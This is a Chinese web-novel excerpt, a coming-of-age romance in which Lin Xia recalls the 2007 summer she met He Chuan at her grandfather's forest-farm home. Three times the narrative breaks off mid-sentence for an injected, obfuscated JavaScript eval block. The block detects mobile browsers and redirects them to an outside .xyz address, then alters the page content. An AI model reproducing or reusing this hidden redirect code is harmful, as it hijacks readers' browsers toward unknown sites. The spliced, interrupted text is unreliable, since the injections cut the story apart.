《中秋有雨冬至晴》 1. 楔子 林夏刷卡离开公司时是晚上19点48分。 夜幕已经降临,但对于绝大多数人来说,加班才刚刚开始。出了大门抬头望去,CBD四周高耸入云的摩天大厦还是一片灯火通明,每扇小小的长方形窗户后面都是一张张办公桌,一个个加班人,一页页PPT,一台台显示器。 忙碌,焦虑,光鲜亮丽,精疲力尽。 这是很多林夏这一代人从小就在电视上港剧美剧里见过并向往的都市职场生活,真正身处其中的时候才发现,没那么美好,但也不算太糟糕。 世上一切理想与现实的差异大抵都是如此。 林夏所在的MT公司不算是互联网头部,但也是行业内数一数二的大厂。她是内容设计师,主要负责平面插画工作,并不需要经常加班,但每逢重要节日之前都比较忙,需要卡在时间节点前上线主题新产品。还有两周就是万圣节了,她所在的项目组主攻海外市场,万圣节是下半年的重头戏之一,接下来他们会迎来第四季度的忙碌高峰。 十月中旬的深圳街头,哪怕夜幕降临之后气温依旧炎热,在冰冷的空调房里待了整整一个白天,林夏走在去地铁站的路上,感觉自己每个毛孔都在往外散发着肉眼可见的寒气。 这些年她从北到南,越走越远,夏天越长,冬天越短,对季节的感知却是越来越模糊了。察觉不到万物生长,看不见草木凋零,年复一年,就这样匆匆流转。 进地铁,过安检,扫码入闸,下电梯,还没在安全黄线前站稳,地铁已经进站,屏蔽门打开,她随着人流涌进车厢。 林夏大学时在北京读书,每次都小心翼翼错峰出行,只见识过寥寥几回拥挤到恐怖的早晚高峰,来到深圳之后才真正体会到一个一线城市交通调度能力运转到极致的模样。 高峰时期,深圳地铁平均间隔是1分钟20秒一班,通常上一趟地铁还没有离开,下一趟地铁就已经进站了。 林夏第一次见到的时候,还在奇怪地铁怎么也会堵车。 这个城市不允许等待。 上车之后,林夏找了个角落站定。车厢里还有空位,但更多年轻人选择站立,办公室久坐一天,健康手环不知道振动了几次,只能趁着往来通勤的路上为腰椎放松一下,至于低头刷手机的颈椎就实在是顾不上了。 列车启动,面前车窗外的广告屏飞速闪过,利用费纳奇镜原理,长久的停留在人的视网膜上,几秒钟后,终于恢复了漆黑。她在车窗上看见了自己的倒影,把绑在头上的发绳摘了下来,任长长的黑色卷发铺满肩头。 早上刚洗过头发,在显示屏前坐了十个小时,又出油了。 她用手指揪着眼前刘海的发尾,正在考虑是换个洗发水牌子还是换个工作的时候,包里的手机响起一连串信息提示音。 是工作群的消息,她点开后面无表情打字回复。 等处理过后,地铁又呼啸而过了两站,还有两站她才要下车。 退出聊天界面,她顺手点开了朋友圈。 健身,旅行,美食,礼物,每个人都把自己的生活装点得体面光鲜,真相如何,冷暖自知。但这小小的方寸之间,评论与点赞,就是现代社会人与人之间为数不多的联系了。 她刷到了画室同学结了婚,大学学姐升了职,研究生舍友在泰国晒太阳,然后她刷到了谭之舟。 这人是她高中校友,比她大三届,在高中里没见过面,大学校园彼此相邻,因为一个人才有了交集,但也不太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627080|172425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟悉。她只知道他毕业后进了某部委,而后辞职去了投行,功成名就,混得不错,现在也在深圳。 他发了一张餐桌的照片,没有人露面,配文: 老友重逢,好久不见。 林夏本来已经下意识的划了过去,不知为什么又划了回来,点开了那张照片。 照片技术很一般,谈不上任何构图与光线,只是杯盘狼藉的饭桌而已,似乎是吃到一半临时起意这才拿出手机拍的。桌上酒杯旁有只手入了镜,是一只男人的右手,修长干净,指节分明,很漂亮。 照片清晰度不错,放大之后,能清楚的看见他食指与中指的骨节微微变形,那是少年时代刻苦学习握笔伏案的证明。袖口露出了一节手腕,没有戴表,但是中指上戴了一枚戒指,银色细圈,似乎年头颇久,没那么光亮如新,反倒有股温润的岁月感。 然而林夏知道,这枚看似中古的戒指,戒圈内侧,刻着一颗幼稚的米老鼠头。 那是八年前香港迪士尼游乐园的产品,本来是一对情侣戒。 指尖在屏幕上悬停很久,直到60秒后手机自动锁屏,动作仍然没变。 熟悉的广播通知响起,在普通话、粤语和英语交替报站声中,林夏将手机放回包中,随着人流走出了车门。 上电梯,刷卡过闸,D口出站,一切都和过去千百次重复的流程一样。从地上来到地面,钢筋水泥的城市仍然未变,夜半的马路依旧灯火通明,川流不息。 然而有那么一瞬间林夏恍惚产生了些许错觉,扑面吹来温热的夜风,仿佛来自十六岁的夏天。 一切细节好像清晰的就在昨天,又好像模糊的仿若前世。 那个一生一世,再也不会有的夏天。 2. 波斯菊(1) 2007年7月5日,晴 东北的夏天,总是热烈而短暂,花草树木会在几十天内,把积蓄一整年的精力养分通通释放,轰轰烈烈的开花,抽芽,枝繁叶茂,而后迅速枯萎凋零。 因短暂而热烈,也因热烈而短暂。 植物如此,人也是如此。 林夏趴在车窗上,望着外面匆匆而过的山林绿野,心里的低落不禁被冲淡了几分。 生于夏至,取名为夏,她喜欢夏天。 可以穿漂亮裙子,吃冰淇淋,可以睡懒觉,放暑假,和同学出去玩,这是一个十六岁的少女对夏天的全部期待,如此简单。 “夏夏,看前面,待会儿你又该晕车了。” 林学东拍了拍她的肩膀。 林夏听了爸爸的话坐正身体,把视线投向车内。 这是一辆老式中巴车,不紧不慢晃悠在不算平整的土路上,不知道哪个部位的老旧零件吱嘎作响,上下一个车门,十几个座位,车上人不算多,没坐满,开窗有灰,不开窗闷热,柴油味混合汗味弥漫在空气里十分刺鼻,这一切才是叫人晕车的罪魁祸首。 无聊之下,她用手指揪着眼前刘海的发尾,横看竖看,还是觉得太短。 她一直护头发护得紧,这次考完试她好不容易下定决心去理发,明明事前再三告诉了理发师只剪一个小指节,对方充耳不闻,大刀阔斧直接将她留了两年的及肩长发剪到了耳下。她当场哭出了声来,回家气得把自己关进房间里,拒绝吃饭。 最后还是第二天妈妈带她去了一家比较贵的理发店,给她重新设计了一个洋气又俏皮的发型,她这才罢休。 从小到大她一直都是如此,用林学东的话说,臭美,任性,看着乖乖巧巧的,其实骨子里特别有主意,一丁点不顺心都不行。 十几分钟后,中巴车停在了一个岔路口,林夏头昏脑胀的下了车,跟在林学东的身后,沿着岔路缓坡往上走。 路的两旁是郁郁葱葱的人工林,白桦、红松、落叶松、樟子松,都是东北特有的耐寒树种,每隔一段距离,会有三三两两的平房人家。这里是离望春市区不远的林场,坐车要二十几分钟,走路要一个多小时,不知道具体名字,大人们都叫作小林场。 也许还有一个大林场?林夏不太清楚。 小的时候都是这样,对周围的一切事物的认知都模模糊糊,大人们说什么就是什么,并且觉得一切好像都是理所当然这样,不会想去质疑,去深究。 林夏的爷爷林海生住在这里,她即将在爷爷家渡过初中毕业的这个暑假。 大约走了十几分钟,他们来到了一户房屋相对来说比较高大宽敞的人家,房前有一片围起来到小院子,院子里没有养鸡种菜,只栽了一些金光菊和一串红,红砖铺路,收拾得干干净净,一点儿异味也没有。 进了院门,穿过小院儿,来到门前,林学东摁响了门铃,片刻后房门被打开,来开门的是一个女人。 “学东夏夏来了?” 女人大约四十多岁,比林海生大一些,穿一件白底蓝花的衣服,长发松挽,眼角隐有细纹,但并不显老,她很瘦,很白,眉清目秀,五官姣好,笑起来眉眼弯弯,温婉又恬静。 林学东点了点头,叫了声:“萍姐。” 林夏也跟着叫道:“萍姨。” 何萍脸上笑容短暂的凝滞了一瞬,又或许没有,然后她自然而然的招呼他们: “快进门啊,外面多热,屋里凉快!” 进门之后是四四方方一个大客厅,窗明几净,南北通透,穿堂风悠悠吹过,果然很凉快。 何萍扬声唤道:“老师,学东和夏夏来了!” 林海生退休前是大学教授,何萍据说曾是他的学生。 林夏和林学东换了拖鞋之后,只见林海生慢悠悠从书房走了出来,扫了父女两个一眼,不怒不喜,只是很平静的说: “来了?坐吧。” 林夏一直觉得爷爷和爸爸长得一点也不像,林海生个头很高,很瘦,有一股斯斯文文的书卷气,一看就是清高文化人,在哪里都鹤立鸡群,而林学东不高不矮,不胖不瘦,只是一个普普通通的中年男人,扔在人堆里找不着那种。 也许爸爸长得像奶奶?但奶奶在林夏很小很小的时候就去世了,林夏对她几乎没什么印象。 三个人在沙发上坐下,何萍手脚麻利的切了西瓜端了过来,笑眯眯的说: “夏夏吃西瓜,冰过的,特别甜。” 她说话时个别咬字有些发飘,带着不知哪里的口音,听起来很奇怪。 林夏看了眼林海生,后者点了点头,于是她小声说了句谢谢,拿起了一小块西瓜默默的啃着。 何萍见状笑了笑,又去厨房泡茶,像女主人,又像保姆,热情而殷勤。 林夏小学的时候逢年过节,总被父母领着到爷爷家拜访,但这几年却几乎没有来过了,她知道原因就是眼前的这个女人。 林学东和赵倩怡不会当她的面讲这些事,但只字片语她也猜个七七八八,什么没脸没皮,什么没名没分。 大人总以为小孩子什么都不懂,其实小孩子不动声色的把一切看在眼里,有时比大人还要通透。 那边父子两个人在对话。 林海生问:“怎么突然要出门?” “去找倩怡。” 林海生皱了皱眉:“她又去省城了?” 林学东点头。 “你工作那边怎么办?” “单位给我假了。” “去多久。” 林学东轻叹了口气:“说不好。” 林海生有些不悦,语气也严厉了起来:“你们两个到底怎么回事?” 林学东张了张口,没马上回答,他对坐在身边的林夏说: “夏夏,自己去院子里玩吧。” 林夏正待得无聊,又在纠结自己的头发,听话应了一声,就往门外走去。 临出门的时候,她见窗台放了一本薄薄的册子,顺手拿起来翻了翻,发现是本诗集,便带着一起出了门。 她在院子里转了一圈,观察了一会儿盛夏正开得灿烂的花,被太阳晒得有些热,于是便在大门外有荫凉的木桩上坐了下来,随手翻看着那本带出来的书。 这是顾城的诗集,书页泛黄,有些年头了,书皮用白纸仔细的包裹,扉页上用墨蓝色的钢笔水留下了主人的名字—— 何川 一笔一划,尖锐锋利。 字如其人,那时她想着,这一定是个倔强高傲的人,不好相处。 书中的诗很美,星月的来由,种子的梦想,分别的海,家乡的树......渐渐地,叫读诗的人也走进了诗人的梦里。 不知过了多久,太阳西斜,小路的尽头,一个骑自行车的身影由远及近,最终停在了门前。 林夏从书里抬起头,迎着夕阳看向来人,下意识眯了眯眼。 这是一个十八九岁的少年,面孔俊秀,五官斯文,皮肤很白,衬得头发格外黑亮。他穿着白色短袖衬衫,藏蓝色长裤,双手扶着自行车车把,单脚支地,腿很修长。 他没有出声询问,只是安静的看着自己,几分茫然,几分犹豫。 “何川?”林夏问道。 他下意识应了一声。 “嗯。” 何川并没有被提前告知今日会有谁上门,他一大早就去了市区参加同学的升学宴。 面前陌生的小姑娘在毫不掩饰的打量自己,他也不动声色的审视对方。 少女一身雪白棉布连衣裙,泡泡袖,蕾丝边,坐在低矮的树桩上,裙摆下伸出瘦小纤细的两条腿,脚上的小白鞋同样一尘不染。从上到下,精致可爱得像个洋娃娃,一看就是从小被父母精心疼爱长大的孩子。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627081|172425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 左手拿着他的书,伸出右手指了指他: “何川。” 而后又指了指自己: “林夏。” 她浅浅笑了一下,眉眼弯弯,一颗小虎牙若隐若现。 十九岁与十六岁的夏天,这是何川与林夏的初见。 诗集翻到这一页—— 【草在结它的种子 风在摇它的叶子 我们站着 不说话 就十分美好】 ...... 林夏跟着何萍进了房间。 房间里的陈设格外简单,只有一张床,一套桌椅,一排老式衣柜,墙上挂着一张世界地图,除此以外,干干净净,什么都没有。 何萍从衣柜里拿出一套新的床单被罩,把床上旧的换下来。 “夏夏,你睡在这屋。” 林夏意识到了什么,轻声问道:“这是......何川的房间?” 何萍没有回头,一边重新铺床一边说:“是啊,这是你何川小叔叔的房间,但你别担心,他睡书房,那里还有一张床。” 林夏一愣,不知道该回答什么好。 她知道何川是何萍和死去的前夫所生的孩子,可她明明按照父母的交代叫了何萍“萍姨”,她却还自顾自的让她管何川叫“叔叔”,这是什么辈分?太奇怪了。 于是她只好选择什么也不说。 好在何萍也没有在意,帮她整理好床铺后就离开了,临走时还贴心的告诉她: “夏夏你先收拾吧,待会儿叫你吃饭,缺什么跟我说,别不好意思。” 何萍走后,林夏来到床边,试探着坐了下来,床单虽是新的,但应该被洗过,散发出干爽的肥皂淡香,只是这上面灰色的单调花纹在小姑娘的审美里实在不算好看。 林夏有点认床,陌生环境里很难睡着觉,她有预感,今晚一定会做噩梦。 . 望春市每天有两班去省城的火车,早一班,晚一班,小林场与火车站南辕北辙,没来及吃晚饭,林学东就要赶去火车站了。 他临走前把女儿单独叫到身边,嘱咐她: “夏夏乖乖听爷爷话,爸爸过几天就接你回去。” 林夏点了点头: “爸你哄哄妈妈,妈刀子嘴豆腐心,你多说两句软化,妈妈就跟你回来了。” 林学东和赵倩怡经常吵架,为了鸡毛蒜皮的小事,林夏早就习惯了。说吵架也不准确,每次其实都是赵倩怡单方面发脾气,林学东一声不吭听着,赵倩怡的火气来的快去的也快,两三天就跟没事儿人一样了。但这次不知道发生了什么,赵倩怡气得直接跑到了省城朋友家,一周了还没回来。 赵倩怡是小学音乐老师,一放暑假她就走了,连中考成绩出来时都是林夏打电话告诉妈妈的。林学东在区里某单位上班,现在要请假外出,林夏自然没人管没人顾,只能被送到了爷爷家。 林学东摸了摸林夏的头,眼睛里闪过笑意: “人小鬼大!” 然后他从兜里拿出钱包,抽出了一百元递给林夏: “拿着,想吃什么自己买,别乱花钱,别和爷爷闹脾气,知不知道?” 林夏双眼一亮,欢欢喜喜的接过来,赵倩怡对她管的严,不准她乱买零食,所以她除了过年压岁钱外很少能得到零花钱,更别说是这么一笔“巨款”了。 可她很快又把钱退了回去: “这张太新了,我要一张旧的。” 林学东奇怪:“你不是说过每次都要给你新钱吗?这是爸爸特意去换的。” 林夏有自己的一套逻辑: “那是压岁钱,我要攒起来的,这是零花钱,太新了我舍不得花。” 林学东无奈,但还是纵容了女儿,从钱包里换了张旧钱: “这回行了吧?” “谢谢爸爸!” 3. 波斯菊(2) 林夏从小就怕爷爷,爷爷家规矩多,要早起早睡,要食不言寝不语,不能挑食不能剩饭,特别麻烦。而且爷爷特别严肃,总是板着脸不爱笑,虽然退了休,但身上还有十分威严的教授范儿,他从不骂人,只是冷冷瞪一眼,林夏就要哭了。 如果可以选择,林夏绝对要在姥爷姥姥家过暑假,姥爷做饭好吃,姥姥会给她的娃娃缝漂亮的小裙子,但是前年姥爷去世后,姥姥就被舅舅接回了山东老家,想去一趟真是山长水远。 林海生,何萍,何川,林夏,四个人一张桌,全是林夏不爱吃的菜,桌上没人说话,只有碗筷碰撞声,和轻微的咀嚼声,这一顿晚饭林夏吃得格外郁闷。 饭后,林海生把林夏叫到跟前问话。 “还在学美术?” 林夏点头:“嗯。” “学艺术好,陶冶情操,修身养性,要坚持住。” 林海生虽然对赵倩怡有诸多不满,但对于她送孩子学画画这点还是很认可的。 “开学上初几了?” 林夏小声纠正:“中考考完,开学上高一了。” 林海生愣了一下,似乎没料到她这么大了。 “考到哪个高中了?” “实验高中。” 这是市重点高中。 林海生点了点头: “高中学业重,要认真学习,千万不能落下功课,到时候考个好大学,学历高才有好出路。” 长辈翻来覆去的老生常谈,林夏敷衍的点头: “哦。” 说完这几句林海生似乎也没什么话说了,他和儿子都没什么话说,更何况是十几岁的小孙女。 “回房间休息吧,需要什么和小何说。” 小何,又多了一个称呼。 这个家里有两个小何,但想也知道他说的是何萍,不是何川。 这样很好,避免了一切称呼上的尴尬。 林夏深吸了一口气,心里默念道: 爸爸你可要早点把妈妈哄回来啊,我要撑不住了! . 林海生家的规矩是晚八点睡,早六点起,这对爱睡懒觉的林夏来说是绝对的酷刑。她从小就是电视儿童,每晚不看完黄金档电视剧不罢休。 彼时互联网还没有大规模兴起,那是中国电视节目最繁荣发展的年代,选秀、综艺、动画片、电视剧,无论是港剧台剧,还是日剧韩剧泰剧美剧,都可以直接在电视上看到,各频道争奇斗艳,花样层出不穷,为了收视率打得火热。 这周的《快乐大板营》是看不到了,上期预告嘉宾是谁来着?娜拉公主最后会选择心爱的侍卫官还是王位?小魔女蒙娜能不能和朋友打败连环画里的邪恶大魔王?这些问题的答案她永远也不会知道了,林夏躺在床上悲伤的想着。 但更令人悲伤的是,她发现她忘了带噗噗。 噗噗是一只□□熊布偶,她最喜欢的玩具,小时候总是要抱着睡觉,现在长大了些倒不用了,但是每到新的地方,她还是要搂着噗噗才安心。 她在床上翻来覆去怎么也睡不着,一看表,才20:31。 要不,去找本书看?她记得爷爷书房里有好多大部头的深奥书籍,到时候她看得昏头涨脑,就一定可以睡着了! 翻身下床,她轻手轻脚出了门。 屋里有两间卧房,一间书房,一间卫生间,一间厨房,林夏来到和她房间呈斜对角的书房外,从门上模糊的毛玻璃看见里面灯还亮着,于是敲了敲门。 不敢敲大声,怕惊醒爷爷。 但她敲了好多下,门里都没有反应,正当她悻悻转身,准备回去的时候,房门突然开了。 何川站在门口,逆着光,看不清表情。 两个人对视片刻,何川看着眼前穿着粉色睡裙,有些手足无措的小姑娘,轻声开口问: “有什么事么?” “我、我睡不着,想来找本书看。” 何川没说什么,只是侧身让她进了门。 书房面积不大,其中两面墙上打满了书柜,另一面墙上挂了几副书画,有一张很大的书桌,桌上堆满了笔墨纸砚,屋中仅剩的一点空间摆了一张铁架子床,又小又窄,看上去很辛酸。 林夏突然产生了一些心虚,对于自己突如其来抢占了他的房间这件事,于是偷偷看向他。 何川让她进来之后,就把本来半开的房门彻底打开,把桌前的凳子拉到门口,方便她来回走动。他坐在凳子上,没有看她,也没有继续做自己的事不理她,只是不声不响的等待着。 何川的人和何川的字一点也不一样,他很安静,很沉默,但并不阴郁,也不叛逆。今天除了在长辈的介绍下,他和她打了招呼,之外他们再没有说过话,但他看向她的目光很平和,没有任何敌意。 他比她大三岁,算不上太多,但他和她班上那些青春期张扬的男孩子不一样,和她舅舅家的书呆子表哥也不一样。 她瞥见书桌一角放着一本翻开的英文书,还有一个放着磁带的随身听,上面插着耳机。 怪不得他刚才没有听见她敲门,但是—— “你在听英语?”林夏忍不住问,“你不是刚高考完吗?” 她是考完之后再也不会看第二眼书的性格,连错题都懒得整理,考都考完了,生死有命富贵在天,下学期的事下学期说! 何川只是说:“大学也是要学英语的。” “你考上了哪个大学?” “香港中文大学。” 这一回答完全超乎林夏预料,她很惊讶: “也能,考香港的大学吗?” 她在电视上看过电影电视剧,对香港并不陌生,在她的印象里,香港是个灯红酒绿,五光十色,比北京上海还要发达的城市,也比北京上海都要遥远的多。除了赵倩怡一个在广州做生意的初中同学,她几乎没听说过身边谁去过香港。 眼前这个人,再过几个月竟然要去香港念大学了吗? 或者说,香港原来也有大学啊! 何川解释:“可以的,香港有好几所大学,已经在内地招生好几年了,有的自主招生,有的高考时直接报名就可以了,但是对分数要求很高。” “你考了多少分?” 何川说了一个数。 林夏对高考还没什么概念,只隐约知道这是个挺高的分。她想起来了,赵倩怡说过他学习挺好的,还以此来鞭策过她。 她突然有点不服气: “那你有考全市第一吗?” 何川一愣:“没有。” “我是全市第一,”林夏微微抬了抬下巴,“中考艺考,我考了全市第一。” 她不是吹牛,艺考素描和水粉两科,满分200,她考了195,几乎没有扣分。她从9岁开始学美术,学了整整7年,从油画棒到黑白线条到色彩,一直都很有天分。 然而她又补充道:“别瞧不起艺术生哦,就算单论文化课,我也是过了实验高中分数线的,不考美术一样能考上!” 她的成绩在班级里属于中等,并不算优秀,但这次中考她超常发挥,可以心安理得的炫耀。 十六岁的年纪,对未来还没有太多概念,她的世界单纯又简单,无论是带着几分天真的骄傲,还是孩子气不服输的攀比心,落在何川眼里,都是可爱的。 于是他轻轻笑了笑:“是很厉害。” 真心的,不带任何讽刺嘲笑。 他的笑容很浅,但是很温柔,眉目仿佛一下舒展开来,没有那样冷淡陌生了。他对她虽然没有敌意,可不说话的时候实在太安静了,悄无声息,仿佛和所有人都不在一个世界一样。 林夏突然有点不好意思,觉得自己刚才说的话太幼稚了,开学她就要上高中了,已经算是半个大人了,不能再干出这么孩子气的事了。 她终于想起她来到这里的最初目的是找书,于是急忙来到书架前继续干正事。 书架上的书都是林海生的,有些年头了,古典名著、毛选党史、古文韵语、书法字帖......内容五花八门,她是想看深奥一点的,但是这些完全看不懂啊! “没有我喜欢的。”她沮丧的说。 “你喜欢什么?” “我喜欢漫画书。” “......这里没有漫画书。” 林夏当然也知道这点。 挑来挑去,最后她拿起了一本角落里一本让她有些感兴趣的书,封面是宇宙星辰,书名叫《地球三万年》。 她问何川:“你看过这本吗?” 何川摇头:“没有。” 感觉是和《 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627082|172425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海底两万里》差不多的科幻小说吧,林夏大概翻了翻,决定就是这本了。 和何川道过晚安后,林夏回了房间。 事实证明,这是她整个假期做地最糟糕的决定。 . 由于种种政治、经济、文化原因,千禧年前后,社会上有一股思潮风靡一时,主要是由没有接受过系统学习的民间科学爱好者发起的,官方笼统的称之为民科,广泛活跃于期刊杂志,地摊盗版书,刚兴起的互联网论坛,以及央视《走进科学》栏目上,其研究内容五花八门,横跨古今中外天人宇宙,包括且不限于,探寻外星人真相,百慕大三角时空谜团,玛雅人水晶头骨,2012年世界毁灭预言,麦田怪圈,天池水怪......充分抓住了人们的猎奇心理,在毫无根据的情况下,用玄之又玄的文字营造悬疑气氛,让人不自觉就深感有理。即便很多年后,绝大多数内容都被证明是杜撰捏造,仍有相当一部分人对此深信不疑。 《地球三万年》这本书,就是上述理论的集大成者。 作者旁征博引,谈古论今,列举了一连串未解之谜,洋洋洒洒写了十几万字,最终得出结论——地球三万年前曾存在一个史前人类文明,但是被毁灭了,现今人类文明也终究要走向毁灭! 林夏本来打算看个两三页就睡觉,没想到越看越精神,越精神越害怕,越害怕越想看,如此恶性循环,到最后完全睡不着了。只要闭上眼睛就是书里各种光怪陆离的奇闻异事,睁开眼睛黑暗中陌生的家具轮廓也变得那么恐怖,更要命的是她好想上厕所,但她根本不敢离开被窝了! 熬夜看电视时飞快流逝的时间,此刻变得度秒如年,她忍了又忍,几乎已经到达生理极限,终于忍不住了。她不顾盛夏的暑热,把被子整个披在身上,连头都包了起来,鼓起勇气,战战兢兢的出了门。 不敢开客厅灯,不敢弄出声音,她在黑暗中靠着记忆中的方位小心翼翼的前进,历尽千辛万苦终于挪到了卫生间门口,她伸手反复在墙上摸索着,着急得不得了,开关在哪里来着? “你在干什么?” 突然一个声音毫无预兆的在背后响起,与此同时啪的一声轻响,开关的正确位置被找到,刹那间整个世界都明亮了起来。 林夏汗毛一立,双腿一软,靠着墙壁滑坐了下来。 隔着一扇门,披着被子瘫软在地的林夏,与穿着睡衣站在门外的何川,客厅的黑暗与卫生间的光亮交织碰撞在一起,两人呆滞相对,这一方奇异的空间里一时静谧,只有墙上钟表秒针走动的咔哒咔哒声。 何川一向觉浅,被客厅悉悉索索的声音惊醒,出门查看,却见到了这样意料之外的一幕。他虽然不知道她为什么要披着被子,但看她脸色苍白,满头大汗,状态十分糟糕的样子,也被吓了一跳。 “生病了吗?” 他半蹲下身,尽量语气轻柔地问道。 见她不说话,他不禁伸手碰了碰她汗湿的额头: “哪里难受?” 而林夏整个人早就被吓傻了,三魂没了七魄,连尖叫都叫不出来。 直到有些温热的触感贴上了她冰凉的皮肤,她一个激灵,这才慢慢反应了过来到底发生了什么。 “没、没事......” 话一出口,竟然是沙哑哽咽的。 何川也意识到了什么: “我吓到你了?” “没有......” 林夏一颗心还砰砰跳,脑子乱糟糟的,一边抹着眼泪,一边胡乱回答, “我只是找不到灯了......” 要是说自己被那本书吓得睡不着觉,也太丢人了吧! 于是何川也没有再问,他只是站在她身边,无声的陪伴着。 不知过了多久,直到她不再流泪,呼吸终于平复,脸色也不再惨白得可怕了,他这才开口: “能站起来吗?” 林夏点了点头,又摇了摇头。 何川犹豫了一下,伸手抓住了她露在外面的小臂,将她整个人从地上拉了起来。 林夏站稳之后,感觉非常不好意思,小小声说: “我好了,谢谢......” 何川用目光确认她无碍了之后,这才点了点头,松开手,把洗手间的门从外面帮她关上了。 4. 波斯菊(3) 林夏在洗手池用力的洗了一把脸,汗水混合着泪水黏在皮肤上很不舒服。 刚才被那么一吓,以毒攻毒,她好像没有那么害怕了。 可是丢人啊,实在是太丢人了。 但他没有笑话她,也没有追问她,他的手很温柔,拉着她一点一点缓缓用力,让她一点也不疼。 她莫名觉得小臂被他触碰过的地方有些发烫,不由用另一只手摸上了那里,对着镜子发了一会儿呆。 深吸一口气,好了,回去睡觉吧,再不睡明天真的起不来了。 她捡起地上的被子,叠了几下抱在怀里,打开了洗手间的门。 没想到何川站在门口,靠在墙壁上,双手抱臂,闭目养神一般。 “你怎么还在这里?” 林夏有些惊讶。 何川没回答,只是睁开眼看了她一眼: “回去吧。” 顿了顿,他又说: “要是睡不着,就开灯吧,有光亮会好一些。” 林夏苦恼:“有光更睡不着了。” 开灯晃眼,关灯害怕,她也没办法啊! 何川有些无奈,他想了想,转身去客厅电视柜置物台上取下了什么,对她说: “把这个放床头。” 林夏不解,跟在他身后回了房间,看他把手里的东西放在床头的书桌上,然后转身出了门,不知道去哪里翻箱倒柜,片刻后回来的时候,他拿着一只灯泡,安装在上面,插上电线,眼前瞬间亮起了一抹橙黄色的光。 林夏有点意外:“原来,这个是台灯啊!” 眼前的这盏台灯,通体陶瓷的材质,绿色的草地上有一朵大大的蘑菇,蘑菇下坐着一个穿蓝色裙子的少女,身边围绕着几只活波的小狗小猫,正在与主人嬉戏。陶瓷烧制的非常精致细腻,充斥着快销时代来临之前,手工制品的繁复美感。 这件瓷器一直摆在客厅里,林夏以为只是工艺摆件,没想到竟然是灯。 何川解释:“因为光线太暗,所以没人用。” 不过此时对于林夏却是刚刚好。 “睡吧。” 何川没再多说什么,就这样转身离开了。 关上灯,林夏重新躺回床上,忍不住侧头望向桌上房间里唯一亮起的那团光,幽幽暗暗,温温暖暖,让人的心不禁平静了下来。 他猜到她是为了那本书害怕吗?还是单纯认为她认床睡不着?不管是因为什么,他顾及了一个少女的自尊心,没有拆穿她,忍着困倦等在门口把她送回了房间,还为她点亮了一盏漂亮的灯。 林夏喜欢一切漂亮的东西。 就像他拉着她的那只手,修长白皙,骨节分明,非常漂亮。 半睡半醒间,她迷迷糊糊的想。 . 东北的夏天昼长夜短,通常早上三四点钟天就已经蒙蒙亮,林夏熬到天亮的时候才勉强睡了一小会儿,六点一到就被何萍叫醒了。 梦游般起床,刷牙,洗脸,林夏腿都是软的,好像踩在棉花上一样。 出了洗手间,林夏看到何萍在厨房做饭,而何川在客厅的方桌上铺着宣纸练毛笔字,而林海生就站在他身后看着,没有说话,但眼中隐约有赞许之色。 两个人虽然相貌不同,但这样一幅画面在别人眼里,像父子,又像爷孙。 林夏知道林海生擅长书法,他的授业老师是特别有名的大家学者,他自己在书画界也小有名气,之前在东北师范大学做中文教授,因病早退,住在小林场这边算是静养。隔三差五就有市里的领导拜访求字,但他心高气傲,总是推拒,因此得罪了不少人。 林夏七八岁的时候,也被赵倩怡要求和林海生学书法,但她静不下心练字,林海生也没耐心教小孩子,学了几个月,爷孙俩都很闹心,最后不欢而散。 这还是林夏第一次见到林海生欣赏一个人,她忍不住走上前围观。 她只学了几个月,连入门都不算,不懂何川写的好与坏,但看起来他的字确实很漂亮,锋利尖锐,很有风骨,像诗集扉页他的钢笔签名一样。 悄悄扭头看向他的脸,他没有看她,也没有因为她的到来视线有一丝偏移,只是凝视着笔下纸上,神情非常专注。 林海生说:“小川勤奋刻苦,踏实本分,夏夏你要和他多学一学。” “哦。” 林夏不情不愿的应了一声,心里有点不服气。 我只是不喜欢书法而已,我在画室废寝忘食练习的时候你也不知道啊! 何川落下了最后一笔,瞥了她一眼,不知道为什么,林夏突然觉得他一定看穿了自己的想法,没有缘由,就是直觉。 这时何萍从厨房抻出头,笑着说: “先别忙着写字了,收拾收拾吃饭了。” 林海生拿起一旁的砚台与镇纸,何川放下毛笔,接过他手里的东西,低声道: “林伯伯,我来。” 在这个屋檐下,所有辈分和称呼都是混乱的。 . 林海生和何萍始终都没有对林夏多说什么,林夏确定何川没有将昨晚她丢人的一幕告诉任何人,也就安心了下来。 昨晚的插曲,成了只有他们两个人知道的秘密。 挣扎着吃了早饭,林夏借口看书,飞快的逃回了房间睡回笼觉,这一沾床就失去了意识,直到11点多才醒,竟是又要吃午饭了。 